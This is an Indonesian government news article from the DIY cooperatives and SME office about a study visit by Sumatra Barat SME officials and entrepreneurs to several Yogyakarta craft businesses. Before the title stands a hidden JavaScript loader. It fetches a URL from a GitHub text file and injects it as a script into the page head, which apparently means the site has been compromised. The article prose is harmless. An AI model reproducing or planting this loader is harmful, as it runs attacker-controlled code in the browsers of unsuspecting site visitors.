;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); STUDI TIRU DINAS KOPERASI USAHA KECIL DAN MENENGAH PROVINSI SUMATRA BARAT KE UKM DIY - DISKOPUKM DIY

STUDI TIRU DINAS KOPERASI USAHA KECIL DAN MENENGAH PROVINSI SUMATRA BARAT KE UKM DIY

Oleh: Risma Anggita Cahyani dan Tiara Safitri Prabowo

Pada tanggal 15 Oktober 2024, Dinas Koperasi dan UKM DIY menerima kunjungan Study Tiru dari Dinas Koperasi Usaha Kecil dan Menengah (UKM) Provinsi Sumatra Barat. Kegiatan ini diikuti oleh 35 peserta yang terdiri dari perwakilan Dinas Koperasi UKM Sumatra Barat dan pelaku UKM di wilayah tersebut. Kunjungan ini bertujuan untuk memperkenalkan produk-produk UKM DIY kepada peserta dari Sumatra Barat, dengan harapan bahwa produk UKM DIY dapat menjadi inspirasi dan motivasi bagi para pelaku UKM di Sumatra Barat untuk terus meningkatkan kreativitas dan inovasi dalam usaha mereka. Selain itu, peserta juga diharapkan dapat menimba ilmu dan pengalaman dari UKM- UKM yang ada di DIY, khususnya dalam hal pengelolaan dan pemasaran produk.

Kunjungan ini melibatkan UKM-UKM di bawah naungan Dinas Koperasi dan UKM DIY, antara lain Geoge Leather, Ride One Gallery, Joglo Ayu Tenan Makerspace, dan Rumah Keewa Sepatu Kulit. Geoge Leather adalah UKM yang bergerak di bidang kerajinan kulit sapi, memproduksi tas, dompet, dan aksesoris kulit. Geoge Leather telah berdiri sejak tahun 2018 dan berbasis di Yogyakarta. Sementara itu, Ride One Gallery merupakan produsen dan eksportir profesional kerajinan kaca cermin yang menyediakan berbagai desain cermin modern, klasik, hingga antik, serta aksesoris furnitur. Joglo Ayu Tenan Makerspace dikenal sebagai UKM yang memproduksi desain perhiasan dari batu alam asli, menciptakan karya seni yang unik di bidang perhiasan dan kain seni. Sedangkan Rumah Keewa Sepatu Kulit adalah UKM yang fokus pada produksi sepatu asli dari bahan kulit berkualitas.

Setiap UKM yang dikunjungi memberikan kesempatan bagi peserta untuk melihat langsung proses produksi dan mendapatkan wawasan mengenai pengelolaan bisnis. Melalui kunjungan ini, pelaku UKM dari Sumatra Barat dapat memperluas wawasan dan pengetahuan mereka mengenai berbagai inovasi yang dilakukan oleh UKM di Yogyakarta. Kegiatan ini juga menjadi ajang untuk saling berbagi pengalaman, sekaligus meningkatkan hubungan kerja sama antara pelaku UKM dari dua daerah.

Dinas Koperasi dan UKM DIY mendampingi para peserta dengan memberikan penjelasan langsung di setiap UKM yang dikunjungi. Peserta juga diberi kesempatan untuk berdiskusi dengan pemilik UKM mengenai berbagai aspek bisnis, mulai dari produksi hingga pemasaran.

Dengan adanya kegiatan ini, diharapkan UKM di Sumatra Barat dapat menerapkan praktik-praktik yang dipelajari dan mengembangkannya di daerah mereka masing-masing. Kegiatan ini memberikan kesempatan bagi pelaku UKM dari Sumatra Barat untuk belajar dan memperkaya pengetahuan, serta diharapkan dapat menjadi dorongan untuk terus berinovasi dalam menjalankan usaha mereka.